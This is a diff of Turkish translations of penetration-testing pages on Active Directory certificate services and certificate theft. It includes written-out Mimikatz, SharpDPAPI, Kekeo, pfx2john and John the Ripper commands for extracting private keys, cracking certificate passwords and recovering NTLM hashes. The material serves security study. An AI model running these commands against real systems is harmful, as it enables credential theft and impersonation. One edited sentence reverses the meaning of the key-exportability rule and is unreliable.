şablonun izinlerine dayanarak sertifikayı verir. 4. Onaylandığında, CA sertifikayı özel anahtarı ile imzalar ve istemciye geri gönderir. -### Sertifika Şablonları +### Certificate Templates AD içinde tanımlanan bu şablonlar, sertifika vermek için ayarları ve izinleri belirler; izin verilen EKU'lar ve kayıt veya değişiklik hakları dahil, sertifika hizmetlerine erişimi yönetmek için kritik öneme sahiptir. -## Sertifika Kaydı +## Certificate Enrollment Sertifikalar için kayıt süreci, bir yöneticinin **bir sertifika şablonu oluşturması** ile başlar; bu şablon daha sonra bir Kurumsal Sertifika Otoritesi (CA) tarafından **yayınlanır**. Bu, şablonu istemci kaydı için kullanılabilir hale getirir; bu adım, şablonun adını bir Active Directory nesnesinin `certificatetemplates` alanına ekleyerek gerçekleştirilir. Bir istemcinin sertifika talep edebilmesi için, **kayıt hakları** verilmelidir. Bu haklar, sertifika şablonundaki güvenlik tanımlayıcıları ve Kurumsal CA'nın kendisi tarafından tanımlanır. Bir talebin başarılı olması için her iki konumda da izinler verilmelidir. -### Şablon Kayıt Hakları +### Template Enrollment Rights -Bu haklar, izinleri detaylandıran Erişim Kontrol Girişleri (ACE'ler) aracılığıyla belirtilir: +Bu haklar, aşağıdaki gibi izinleri detaylandıran Erişim Kontrol Girişleri (ACE'ler) aracılığıyla belirtilir: -- **Sertifika-Kayıt** ve **Sertifika-Otomatik Kayıt** hakları, her biri belirli GUID'lerle ilişkilidir. +- **Sertifika-Kayıt** ve **Sertifika-OtomatikKayıt** hakları, her biri belirli GUID'lerle ilişkilidir. - **GenişletilmişHaklar**, tüm genişletilmiş izinlere izin verir. - **TamKontrol/GeniGenericAll**, şablon üzerinde tam kontrol sağlar. -### Kurumsal CA Kayıt Hakları +### Enterprise CA Enrollment Rights -CA'nın hakları, Sertifika Otoritesi yönetim konsolu aracılığıyla erişilebilen güvenlik tanımlayıcısında belirtilmiştir. Bazı ayarlar, düşük ayrıcalıklı kullanıcıların uzaktan erişimine bile izin verebilir, bu da bir güvenlik endişesi olabilir. +CA'nın hakları, Sertifika Otoritesi yönetim konsolu aracılığıyla erişilebilen güvenlik tanımlayıcısında belirtilmiştir. Bazı ayarlar, düşük ayrıcalıklı kullanıcıların uzaktan erişim sağlamasına bile izin verebilir, bu da bir güvenlik endişesi olabilir. -### Ek Verme Kontrolleri +### Additional Issuance Controls Bazı kontroller uygulanabilir, örneğin: - **Yönetici Onayı**: Talepleri, bir sertifika yöneticisi tarafından onaylanana kadar beklemede tutar. -- **Kayıt Temsilcileri ve Yetkili İmzalar**: Bir CSR üzerindeki gerekli imza sayısını ve gerekli Uygulama Politika OID'lerini belirtir. +- **Kayıt Ajanları ve Yetkili İmzalar**: Bir CSR üzerindeki gerekli imza sayısını ve gerekli Uygulama Politika OID'lerini belirtir. -### Sertifika Talep Yöntemleri +### Methods to Request Certificates -Sertifikalar şu yollarla talep edilebilir: +Sertifikalar aşağıdaki yöntemlerle talep edilebilir: -1. **Windows İstemci Sertifika Kayıt Protokolü** (MS-WCCE), DCOM arayüzlerini kullanarak. -2. **ICertPassage Uzak Protokolü** (MS-ICPR), adlandırılmış borular veya TCP/IP aracılığıyla. +1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), DCOM arayüzlerini kullanarak. +2. **ICertPassage Remote Protocol** (MS-ICPR), adlandırılmış borular veya TCP/IP aracılığıyla. 3. **Sertifika kayıt web arayüzü**, Sertifika Otoritesi Web Kayıt rolü yüklü olduğunda. -4. **Sertifika Kayıt Hizmeti** (CES), Sertifika Kayıt Politikası (CEP) hizmeti ile birlikte. -5. **Ağ Cihazı Kayıt Hizmeti** (NDES), ağ cihazları için, Basit Sertifika Kayıt Protokolü (SCEP) kullanarak. +4. **Sertifika Kayıt Servisi** (CES), Sertifika Kayıt Politikası (CEP) servisi ile birlikte. +5. **Ağ Cihazı Kayıt Servisi** (NDES) için ağ cihazları, Basit Sertifika Kayıt Protokolü (SCEP) kullanarak. Windows kullanıcıları ayrıca GUI (`certmgr.msc` veya `certlm.msc`) veya komut satırı araçları (`certreq.exe` veya PowerShell'in `Get-Certificate` komutu) aracılığıyla sertifika talep edebilir. -```powershell +```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` @@ -87,7 +87,7 @@ Active Directory (AD) sertifika kimlik doğrulamasını destekler, esasen **Kerb ### Kerberos Kimlik Doğrulama Süreci -Kerberos kimlik doğrulama sürecinde, bir kullanıcının Ticket Granting Ticket (TGT) talebi, kullanıcının sertifikasının **özel anahtarı** ile imzalanır. Bu talep, alan denetleyicisi tarafından sertifikanın **geçerliliği**, **yolu** ve **iptal durumu** dahil olmak üzere birkaç doğrulamadan geçer. Doğrulamalar ayrıca sertifikanın güvenilir bir kaynaktan geldiğini doğrulamayı ve vericinin **NTAUTH sertifika deposu** içindeki varlığını onaylamayı içerir. Başarılı doğrulamalar, bir TGT'nin verilmesiyle sonuçlanır. AD'deki **`NTAuthCertificates`** nesnesi, şu konumda bulunur: +Kerberos kimlik doğrulama sürecinde, bir kullanıcının Ticket Granting Ticket (TGT) talebi, kullanıcının sertifikasının **özel anahtarı** ile imzalanır. Bu talep, alan denetleyicisi tarafından sertifikanın **geçerliliği**, **yolu** ve **iptal durumu** dahil olmak üzere birkaç doğrulamadan geçer. Doğrulamalar ayrıca sertifikanın güvenilir bir kaynaktan geldiğini doğrulamayı ve vericinin **NTAUTH sertifika deposu** içindeki varlığını onaylamayı içerir. Başarılı doğrulamalar, bir TGT'nin verilmesiyle sonuçlanır. AD'deki **`NTAuthCertificates`** nesnesi, şu adreste bulunur: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` @@ -95,7 +95,7 @@ güvenilirliği sağlamak için merkezi bir öneme sahiptir. ### Güvenli Kanal (Schannel) Kimlik Doğrulaması -Schannel, bir el sıkışma sırasında istemcinin, başarılı bir şekilde doğrulandığında erişimi yetkilendiren bir sertifika sunduğu güvenli TLS/SSL bağlantılarını kolaylaştırır. Bir sertifikanın bir AD hesabına eşlenmesi, Kerberos'un **S4U2Self** işlevini veya sertifikanın **Subject Alternative Name (SAN)**'ini içeren diğer yöntemleri içerebilir. +Schannel, bir el sıkışma sırasında istemcinin, başarılı bir şekilde doğrulanırsa erişimi yetkilendiren bir sertifika sunduğu güvenli TLS/SSL bağlantılarını kolaylaştırır. Bir sertifikanın bir AD hesabına eşlenmesi, Kerberos’un **S4U2Self** fonksiyonu veya sertifikanın **Subject Alternative Name (SAN)** gibi diğer yöntemleri içerebilir. ### AD Sertifika Hizmetleri Sayımı diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index a7286c27d..142cff1c9 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -12,28 +12,28 @@ - Sertifikayı tanımlayan benzersiz bir **Seri Numarası**, Sertifika Otoritesi (CA) tarafından sağlanır. - **Verici**, sertifikayı veren CA'yı ifade eder. - **SubjectAlternativeName**, kimlik tanımlama esnekliğini artırarak konu için ek adlar sağlar. -- **Temel Kısıtlamalar**, sertifikanın bir CA veya son varlık için olup olmadığını tanımlar ve kullanım kısıtlamalarını belirler. -- **Genişletilmiş Anahtar Kullanımları (EKUs)**, sertifikanın belirli amaçlarını, örneğin kod imzalama veya e-posta şifreleme gibi, Nesne Tanımlayıcıları (OIDs) aracılığıyla belirler. +- **Temel Kısıtlamalar**, sertifikanın bir CA veya son varlık için olup olmadığını belirler ve kullanım kısıtlamalarını tanımlar. +- **Genişletilmiş Anahtar Kullanımları (EKU'lar)**, sertifikanın belirli amaçlarını, örneğin kod imzalama veya e-posta şifreleme gibi, Nesne Tanımlayıcıları (OID'ler) aracılığıyla belirler. - **İmza Algoritması**, sertifikayı imzalamak için kullanılan yöntemi belirtir. - **İmza**, vericinin özel anahtarı ile oluşturulur ve sertifikanın doğruluğunu garanti eder. ### Special Considerations -- **Subject Alternative Names (SANs)**, bir sertifikanın birden fazla kimliğe uygulanabilirliğini genişletir, bu da birden fazla alan adı olan sunucular için kritik öneme sahiptir. Güvenli verilme süreçleri, saldırganların SAN spesifikasyonunu manipüle ederek kimlik taklidi risklerini önlemek için hayati öneme sahiptir. +- **Subject Alternative Names (SANs)**, bir sertifikanın birden fazla kimliğe uygulanabilirliğini genişletir, bu da birden fazla alan adı olan sunucular için kritik öneme sahiptir. Güvenli verilme süreçleri, saldırganların SAN spesifikasyonunu manipüle ederek kimlik taklit etme risklerini önlemek için hayati öneme sahiptir. ### Certificate Authorities (CAs) in Active Directory (AD) AD CS, AD ormanında CA sertifikalarını belirlenmiş konteynerler aracılığıyla tanır; her biri benzersiz roller üstlenir: - **Sertifika Otoriteleri** konteyneri, güvenilir kök CA sertifikalarını tutar. -- **Kayıt Hizmetleri** konteyneri, Kurumsal CA'lar ve sertifika şablonlarını detaylandırır. +- **Kayıt Hizmetleri** konteyneri, Kurumsal CA'ları ve sertifika şablonlarını detaylandırır. - **NTAuthCertificates** nesnesi, AD kimlik doğrulaması için yetkilendirilmiş CA sertifikalarını içerir. - **AIA (Otorite Bilgi Erişimi)** konteyneri, ara ve çapraz CA sertifikaları ile sertifika zinciri doğrulamasını kolaylaştırır. ### Certificate Acquisition: Client Certificate Request Flow 1. İstek süreci, istemcilerin bir Kurumsal CA bulmasıyla başlar. -2. Bir kamu-özel anahtar çifti oluşturulduktan sonra, bir CSR oluşturulur; bu, bir açık anahtar ve diğer detayları içerir. +2. Bir kamu-özel anahtar çifti oluşturulduktan sonra, bir kamu anahtarı ve diğer detayları içeren bir CSR oluşturulur. 3. CA, mevcut sertifika şablonlarına karşı CSR'yi değerlendirir ve şablonun izinlerine dayanarak sertifikayı verir. 4. Onaylandığında, CA sertifikayı özel anahtarı ile imzalar ve istemciye geri gönderir. @@ -49,11 +49,11 @@ Bir istemcinin sertifika talep edebilmesi için, **kayıt hakları** verilmelidi ### Template Enrollment Rights -Bu haklar, izinleri detaylandıran Erişim Kontrol Girişleri (ACE'ler) aracılığıyla belirtilir: +Bu haklar, aşağıdaki gibi izinleri detaylandıran Erişim Kontrol Girişleri (ACE'ler) aracılığıyla belirtilir: - **Sertifika-Kayıt** ve **Sertifika-OtomatikKayıt** hakları, her biri belirli GUID'lerle ilişkilidir. - **GenişletilmişHaklar**, tüm genişletilmiş izinlere izin verir. -- **TamKontrol/GenericAll**, şablon üzerinde tam kontrol sağlar. +- **TamKontrol/GenişTüm**, şablon üzerinde tam kontrol sağlar. ### Enterprise CA Enrollment Rights @@ -68,38 +68,38 @@ Bazı kontroller uygulanabilir, örneğin: ### Methods to Request Certificates -Sertifikalar şu yöntemlerle talep edilebilir: +Sertifikalar aşağıdaki yöntemlerle talep edilebilir: -1. **Windows İstemci Sertifika Kayıt Protokolü** (MS-WCCE), DCOM arayüzlerini kullanarak. -2. **ICertPassage Uzak Protokolü** (MS-ICPR), adlandırılmış borular veya TCP/IP aracılığıyla. +1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), DCOM arayüzlerini kullanarak. +2. **ICertPassage Remote Protocol** (MS-ICPR), adlandırılmış borular veya TCP/IP aracılığıyla. 3. **Sertifika kayıt web arayüzü**, Sertifika Otoritesi Web Kayıt rolü yüklü olduğunda. 4. **Sertifika Kayıt Servisi** (CES), Sertifika Kayıt Politikası (CEP) servisi ile birlikte. 5. **Ağ Cihazı Kayıt Servisi** (NDES), ağ cihazları için, Basit Sertifika Kayıt Protokolü (SCEP) kullanarak. Windows kullanıcıları ayrıca GUI (`certmgr.msc` veya `certlm.msc`) veya komut satırı araçları (`certreq.exe` veya PowerShell'in `Get-Certificate` komutu) aracılığıyla sertifika talep edebilir. -```powershell +```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` -## Sertifika Kimlik Doğrulaması +## Sertifika Kimlik Doğrulama -Active Directory (AD) sertifika kimlik doğrulamasını destekler, esasen **Kerberos** ve **Secure Channel (Schannel)** protokollerini kullanır. +Active Directory (AD) sertifika kimlik doğrulamayı destekler, esasen **Kerberos** ve **Secure Channel (Schannel)** protokollerini kullanır. ### Kerberos Kimlik Doğrulama Süreci -Kerberos kimlik doğrulama sürecinde, bir kullanıcının Ticket Granting Ticket (TGT) talebi, kullanıcının sertifikasının **özel anahtarı** ile imzalanır. Bu talep, alan denetleyicisi tarafından sertifikanın **geçerliliği**, **yolu** ve **iptal durumu** dahil olmak üzere birkaç doğrulamadan geçer. Doğrulamalar ayrıca sertifikanın güvenilir bir kaynaktan geldiğini doğrulamayı ve vericinin **NTAUTH sertifika deposu** içindeki varlığını onaylamayı içerir. Başarılı doğrulamalar, bir TGT'nin verilmesiyle sonuçlanır. AD'deki **`NTAuthCertificates`** nesnesi, şu konumda bulunur: +Kerberos kimlik doğrulama sürecinde, bir kullanıcının Ticket Granting Ticket (TGT) talebi, kullanıcının sertifikasının **özel anahtarı** ile imzalanır. Bu talep, alan denetleyicisi tarafından sertifikanın **geçerliliği**, **yolu** ve **iptal durumu** dahil olmak üzere birkaç doğrulamadan geçer. Doğrulamalar ayrıca sertifikanın güvenilir bir kaynaktan geldiğini doğrulamayı ve vericinin **NTAUTH sertifika deposu** içindeki varlığını onaylamayı içerir. Başarılı doğrulamalar, bir TGT'nin verilmesiyle sonuçlanır. AD'deki **`NTAuthCertificates`** nesnesi, şu adreste bulunur: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` -sertifika kimlik doğrulaması için güven oluşturmanın merkezidir. +güvenilirliği sağlamak için merkezi bir öneme sahiptir. ### Güvenli Kanal (Schannel) Kimlik Doğrulaması -Schannel, bir el sıkışma sırasında istemcinin, başarılı bir şekilde doğrulanırsa erişimi yetkilendiren bir sertifika sunduğu güvenli TLS/SSL bağlantılarını kolaylaştırır. Bir sertifikanın bir AD hesabına eşlenmesi, Kerberos'un **S4U2Self** işlevini veya sertifikanın **Subject Alternative Name (SAN)**'ını içerebilir. +Schannel, bir el sıkışma sırasında istemcinin, başarılı bir şekilde doğrulanırsa erişimi yetkilendiren bir sertifika sunduğu güvenli TLS/SSL bağlantılarını kolaylaştırır. Bir sertifikanın bir AD hesabına eşlenmesi, Kerberos’un **S4U2Self** fonksiyonu veya sertifikanın **Subject Alternative Name (SAN)** gibi diğer yöntemleri içerebilir. ### AD Sertifika Hizmetleri Sayımı -AD'nin sertifika hizmetleri, **Enterprise Certificate Authorities (CAs)** ve bunların yapılandırmaları hakkında bilgi ortaya çıkaran LDAP sorguları aracılığıyla sayılabilir. Bu, özel ayrıcalıklara sahip olmadan herhangi bir alan kimlik doğrulamalı kullanıcı tarafından erişilebilir. **[Certify](https://github.com/GhostPack/Certify)** ve **[Certipy](https://github.com/ly4k/Certipy)** gibi araçlar, AD CS ortamlarında sayım ve güvenlik açığı değerlendirmesi için kullanılır. +AD'nin sertifika hizmetleri, **Enterprise Certificate Authorities (CAs)** ve bunların yapılandırmaları hakkında bilgi açığa çıkaran LDAP sorguları aracılığıyla sayılabilir. Bu, özel ayrıcalıklara sahip olmadan herhangi bir alan kimlik doğrulamalı kullanıcı tarafından erişilebilir. **[Certify](https://github.com/GhostPack/Certify)** ve **[Certipy](https://github.com/ly4k/Certipy)** gibi araçlar, AD CS ortamlarında sayım ve güvenlik açığı değerlendirmesi için kullanılır. Bu araçları kullanmak için komutlar şunlardır: ```bash diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md index d64e7b6d4..41b4f670b 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md @@ -7,7 +7,7 @@ ## Bir sertifika ile ne yapabilirim Sertifikaları nasıl çalacağınızı kontrol etmeden önce, sertifikanın ne için yararlı olduğunu bulmak hakkında bazı bilgilere sahip olmalısınız: -```powershell +```bash # Powershell $CertPath = "C:\path\to\cert.pfx" $CertPass = "P@ssw0rd" @@ -18,13 +18,13 @@ $Cert.EnhancedKeyUsageList # cmd certutil.exe -dump -v cert.pfx ``` -## Sertifikaları Crypto API'leri Kullanarak Dışa Aktarma – THEFT1 +## Sertifikaların Crypto API'leri Kullanılarak Dışa Aktarılması – THEFT1 -Bir **etkileşimli masaüstü oturumu** sırasında, bir kullanıcı veya makine sertifikasını, özel anahtarıyla birlikte çıkarmak kolayca yapılabilir, özellikle de **özel anahtar dışa aktarılabilir** ise. Bu, `certmgr.msc` içinde sertifikaya giderek, sağ tıklayıp `Tüm Görevler → Dışa Aktar` seçeneğini seçerek şifre korumalı bir .pfx dosyası oluşturmakla gerçekleştirilebilir. +Bir **etkileşimli masaüstü oturumu** sırasında, bir kullanıcı veya makine sertifikasını, özel anahtarıyla birlikte çıkarmak oldukça kolaydır, özellikle de **özel anahtar dışa aktarılabilir** ise. Bu, `certmgr.msc` içinde sertifikaya giderek, sağ tıklayıp `Tüm Görevler → Dışa Aktar` seçeneğini seçerek şifre korumalı bir .pfx dosyası oluşturmakla gerçekleştirilebilir. **Programatik bir yaklaşım** için, PowerShell `ExportPfxCertificate` cmdlet'i veya [TheWover’ın CertStealer C# projesi](https://github.com/TheWover/CertStealer) gibi araçlar mevcuttur. Bu araçlar, sertifika deposuyla etkileşimde bulunmak için **Microsoft CryptoAPI** (CAPI) veya Kriptografi API: Next Generation (CNG) kullanır. Bu API'ler, sertifika depolama ve kimlik doğrulama için gerekli olanlar da dahil olmak üzere çeşitli kriptografik hizmetler sunar. -Ancak, bir özel anahtar dışa aktarılabilir olarak ayarlanmadıysa, hem CAPI hem de CNG genellikle bu tür sertifikaların çıkarılmasını engeller. Bu kısıtlamayı aşmak için, **Mimikatz** gibi araçlar kullanılabilir. Mimikatz, özel anahtarların dışa aktarımına izin vermek için ilgili API'leri yamanan `crypto::capi` ve `crypto::cng` komutları sunar. Özellikle, `crypto::capi` mevcut süreçte CAPI'yi yamarken, `crypto::cng` **lsass.exe**'nin belleğini yamanmayı hedefler. +Ancak, bir özel anahtar dışa aktarılabilir olarak ayarlandığında, hem CAPI hem de CNG genellikle bu tür sertifikaların çıkarılmasını engeller. Bu kısıtlamayı aşmak için, **Mimikatz** gibi araçlar kullanılabilir. Mimikatz, özel anahtarların dışa aktarımına izin vermek için ilgili API'leri yamanan `crypto::capi` ve `crypto::cng` komutları sunar. Özellikle, `crypto::capi` mevcut süreçte CAPI'yi yamanırken, `crypto::cng` **lsass.exe**'nin belleğini yamanmayı hedefler. ## DPAPI Üzerinden Kullanıcı Sertifikası Hırsızlığı – THEFT2 @@ -34,7 +34,7 @@ DPAPI hakkında daha fazla bilgi için: ../../windows-local-privilege-escalation/dpapi-extracting-passwords.md {{#endref}} -Windows'ta, **sertifika özel anahtarları DPAPI ile korunmaktadır**. **Kullanıcı ve makine özel anahtarları için depolama yerlerinin** farklı olduğunu ve dosya yapıların, işletim sistemi tarafından kullanılan kriptografik API'ye bağlı olarak değiştiğini anlamak önemlidir. **SharpDPAPI**, DPAPI blob'larını şifrelerini çözme sırasında bu farklılıkları otomatik olarak aşabilen bir araçtır. +Windows'ta, **sertifika özel anahtarları DPAPI ile korunmaktadır**. **Kullanıcı ve makine özel anahtarları için depolama yerlerinin** farklı olduğunu ve dosya yapıların işletim sistemi tarafından kullanılan kriptografik API'ye bağlı olarak değiştiğini anlamak önemlidir. **SharpDPAPI**, DPAPI blob'larını şifrelerini çözme sırasında bu farklılıkları otomatik olarak aşabilen bir araçtır. **Kullanıcı sertifikaları** esasen `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates` altında kayıt defterinde bulunur, ancak bazıları `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` dizininde de bulunabilir. Bu sertifikalar için ilgili **özel anahtarlar** genellikle **CAPI** anahtarları için `%APPDATA%\Microsoft\Crypto\RSA\User SID\` ve **CNG** anahtarları için `%APPDATA%\Microsoft\Crypto\Keys\` içinde saklanır. @@ -44,7 +44,7 @@ Bir **sertifikayı ve ona bağlı özel anahtarı çıkarmak** için süreç şu 2. İlgili özel anahtarı şifrelemek için gerekli DPAPI anahtarını **bulmak**. 3. Düz metin DPAPI anahtarını kullanarak **özel anahtarı şifre çözmek**. -Düz metin DPAPI anahtarını **edinmek için** aşağıdaki yaklaşımlar kullanılabilir: +Düz metin DPAPI anahtarını **edinmek** için aşağıdaki yaklaşımlar kullanılabilir: ```bash # With mimikatz, when running in the user's context dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc @@ -60,27 +60,27 @@ SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt # Converting .pem to .pfx openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx ``` -## Makine Sertifika Hırsızlığı DPAPI ile – THEFT3 +## Makine Sertifika Hırsızlığı DPAPI Üzerinden – THEFT3 -Windows tarafından `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` kayıt defterinde saklanan makine sertifikaları ve `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI için) ve `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG için) konumlarındaki ilgili özel anahtarlar, makinenin DPAPI anahtarları ile şifrelenmiştir. Bu anahtarlar, alanın DPAPI yedek anahtarı ile çözülemez; bunun yerine yalnızca SYSTEM kullanıcısının erişebildiği **DPAPI_SYSTEM LSA sırrı** gereklidir. +Windows tarafından kayıt defterinde `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` altında saklanan makine sertifikaları ve ilgili özel anahtarlar `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI için) ve `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG için) konumlarında bulunur ve makinenin DPAPI anahtarları ile şifrelenmiştir. Bu anahtarlar, alanın DPAPI yedek anahtarı ile çözülemez; bunun yerine yalnızca **DPAPI_SYSTEM LSA sırrı** gereklidir ve bu sırra yalnızca SYSTEM kullanıcısı erişebilir. -Manuel şifre çözme, **Mimikatz** içinde `lsadump::secrets` komutunu çalıştırarak DPAPI_SYSTEM LSA sırrını çıkarmak ve ardından bu anahtarı makine anahtarlarını şifre çözmek için kullanmakla gerçekleştirilebilir. Alternatif olarak, daha önce açıklandığı gibi CAPI/CNG yamanmasının ardından Mimikatz’ın `crypto::certificates /export /systemstore:LOCAL_MACHINE` komutu kullanılabilir. +Manuel şifre çözme, **Mimikatz** içinde `lsadump::secrets` komutunu çalıştırarak DPAPI_SYSTEM LSA sırrını çıkarmak ve ardından bu anahtarı makine anahtarlarını çözmek için kullanmak suretiyle gerçekleştirilebilir. Alternatif olarak, daha önce açıklandığı gibi CAPI/CNG yamanmasının ardından Mimikatz’in `crypto::certificates /export /systemstore:LOCAL_MACHINE` komutu kullanılabilir. -**SharpDPAPI**, sertifikalar komutuyla daha otomatik bir yaklaşım sunar. `/machine` bayrağı yükseltilmiş izinlerle kullanıldığında, SYSTEM'e yükselir, DPAPI_SYSTEM LSA sırrını döker, bunu makine DPAPI anahtarlarını şifre çözmek için kullanır ve ardından bu düz metin anahtarlarını herhangi bir makine sertifika özel anahtarını şifre çözmek için bir arama tablosu olarak kullanır. +**SharpDPAPI**, sertifikalar komutuyla daha otomatik bir yaklaşım sunar. `/machine` bayrağı yükseltilmiş izinlerle kullanıldığında, SYSTEM'e yükselir, DPAPI_SYSTEM LSA sırrını döker, bunu makine DPAPI anahtarlarını çözmek için kullanır ve ardından bu düz metin anahtarlarını herhangi bir makine sertifika özel anahtarını çözmek için bir arama tablosu olarak kullanır. ## Sertifika Dosyalarını Bulma – THEFT4 -Sertifikalar bazen dosya paylaşımları veya İndirilenler klasörü gibi dosya sisteminde doğrudan bulunabilir. Windows ortamlarına yönelik en yaygın karşılaşılan sertifika dosyası türleri `.pfx` ve `.p12` dosyalarıdır. Daha az sıklıkla, `.pkcs12` ve `.pem` uzantılı dosyalar da görünmektedir. Diğer dikkat çekici sertifika ile ilgili dosya uzantıları şunlardır: +Sertifikalar bazen dosya sisteminde, örneğin dosya paylaşımlarında veya İndirilenler klasöründe doğrudan bulunabilir. Windows ortamlarına yönelik en yaygın karşılaşılan sertifika dosyası türleri `.pfx` ve `.p12` dosyalarıdır. Daha az sıklıkla, `.pkcs12` ve `.pem` uzantılı dosyalar da görünür. Diğer dikkat çekici sertifika ile ilgili dosya uzantıları şunlardır: - Özel anahtarlar için `.key`, - Sadece sertifikalar için `.crt`/`.cer`, - Sertifika İmzalama Talepleri için `.csr`, bu dosyalar sertifikalar veya özel anahtarlar içermez, -- Java uygulamaları tarafından kullanılan sertifikalar ile birlikte özel anahtarlar içerebilen Java Keystore'ları için `.jks`/`.keystore`/`.keys`. +- Java uygulamaları tarafından kullanılan sertifikalar ile birlikte özel anahtarlar içerebilecek Java Anahtar Depoları için `.jks`/`.keystore`/`.keys`. Bu dosyalar, belirtilen uzantıları arayarak PowerShell veya komut istemcisi kullanılarak aranabilir. -Bir PKCS#12 sertifika dosyası bulunduğunda ve bir şifre ile korunduğunda, `pfx2john.py` kullanılarak bir hash çıkarılması mümkündür; bu araç [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) adresinde mevcuttur. Ardından, şifreyi kırmaya çalışmak için JohnTheRipper kullanılabilir. -```powershell +Bir PKCS#12 sertifika dosyası bulunduğunda ve bir şifre ile korunduğunda, `pfx2john.py` kullanılarak bir hash çıkarılması mümkündür; bu dosya [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) adresinde mevcuttur. Ardından, şifreyi kırmaya çalışmak için JohnTheRipper kullanılabilir. +```bash # Example command to search for certificate files in PowerShell Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys @@ -90,18 +90,20 @@ pfx2john.py certificate.pfx > hash.txt # Command to crack the hash with JohnTheRipper john --wordlist=passwords.txt hash.txt ``` -## NTLM Kimlik Bilgisi Hırsızlığı PKINIT Üzerinden – THEFT5 +## NTLM Kimlik Bilgisi Hırsızlığı PKINIT Üzerinden – THEFT5 (hash'i UnPAC et) -Verilen içerik, PKINIT aracılığıyla NTLM kimlik bilgisi hırsızlığı için THEFT5 olarak etiketlenen hırsızlık yöntemini açıklamaktadır. İşte içeriğin pasif sesle yeniden açıklaması, anonimleştirilmiş ve gerektiğinde özetlenmiştir: +Verilen içerik, PKINIT üzerinden NTLM kimlik bilgisi hırsızlığı için THEFT5 olarak etiketlenen hırsızlık yöntemini açıklamaktadır. İşte içeriğin pasif sesle yeniden açıklaması, anonimleştirilmiş ve gerektiğinde özetlenmiştir: -Kerberos kimlik doğrulamasını desteklemeyen uygulamalar için NTLM kimlik doğrulamasını [MS-NLMP] desteklemek amacıyla, KDC, PKCA kullanıldığında, kullanıcının NTLM tek yönlü fonksiyonunu (OWF) ayrıcalık niteliği sertifikası (PAC) içinde, özellikle `PAC_CREDENTIAL_INFO` tamponunda döndürmek üzere tasarlanmıştır. Sonuç olarak, bir hesap PKINIT aracılığıyla kimlik doğrulaması yapıp bir Ticket-Granting Ticket (TGT) elde ettiğinde, mevcut ana bilgisayarın NTLM hash'ini TGT'den çıkarmasını sağlayan bir mekanizma sağlanmış olur; bu, eski kimlik doğrulama protokollerini sürdürmek içindir. Bu süreç, NTLM düz metninin NDR serileştirilmiş tasvirini içeren `PAC_CREDENTIAL_DATA` yapısının şifresinin çözülmesini gerektirir. +NTLM kimlik doğrulamasını `MS-NLMP` desteklemek için Kerberos kimlik doğrulamasını kolaylaştırmayan uygulamalar için KDC, PKCA kullanıldığında, kullanıcının NTLM tek yönlü fonksiyonunu (OWF) ayrıcalık niteliği sertifikası (PAC) içinde, özellikle `PAC_CREDENTIAL_INFO` tamponunda döndürmek üzere tasarlanmıştır. Sonuç olarak, bir hesap PKINIT aracılığıyla bir Ticket-Granting Ticket (TGT) ile kimlik doğrulaması yapıp güvence altına alırsa, mevcut ana bilgisayarın NTLM hash'ini TGT'den çıkarmasını sağlayan bir mekanizma sağlanmış olur; bu da eski kimlik doğrulama protokollerini sürdürmek içindir. Bu süreç, NTLM düz metninin NDR serileştirilmiş tasvirini içeren `PAC_CREDENTIAL_DATA` yapısının şifre çözümlemesini içerir. -**Kekeo** aracı, [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) adresinde erişilebilir olup, bu belirli veriyi içeren bir TGT talep edebilme yeteneğine sahip olduğu belirtilmektedir; böylece kullanıcının NTLM'ini geri almak kolaylaşır. Bu amaçla kullanılan komut aşağıdaki gibidir: +**Kekeo** aracı, [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) adresinde erişilebilir olup, bu özel veriyi içeren bir TGT talep etme yeteneğine sahip olduğu belirtilmektedir; böylece kullanıcının NTLM'sinin geri alınmasını kolaylaştırır. Bu amaçla kullanılan komut aşağıdaki gibidir: ```bash tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local ``` -Ayrıca, Kekeo'nun akıllı kart korumalı sertifikaları işleyebileceği, pin'in geri alınabilmesi durumunda belirtilmiştir; [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe) referans verilmiştir. Aynı yeteneğin **Rubeus** tarafından desteklendiği belirtilmektedir; bu da [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) 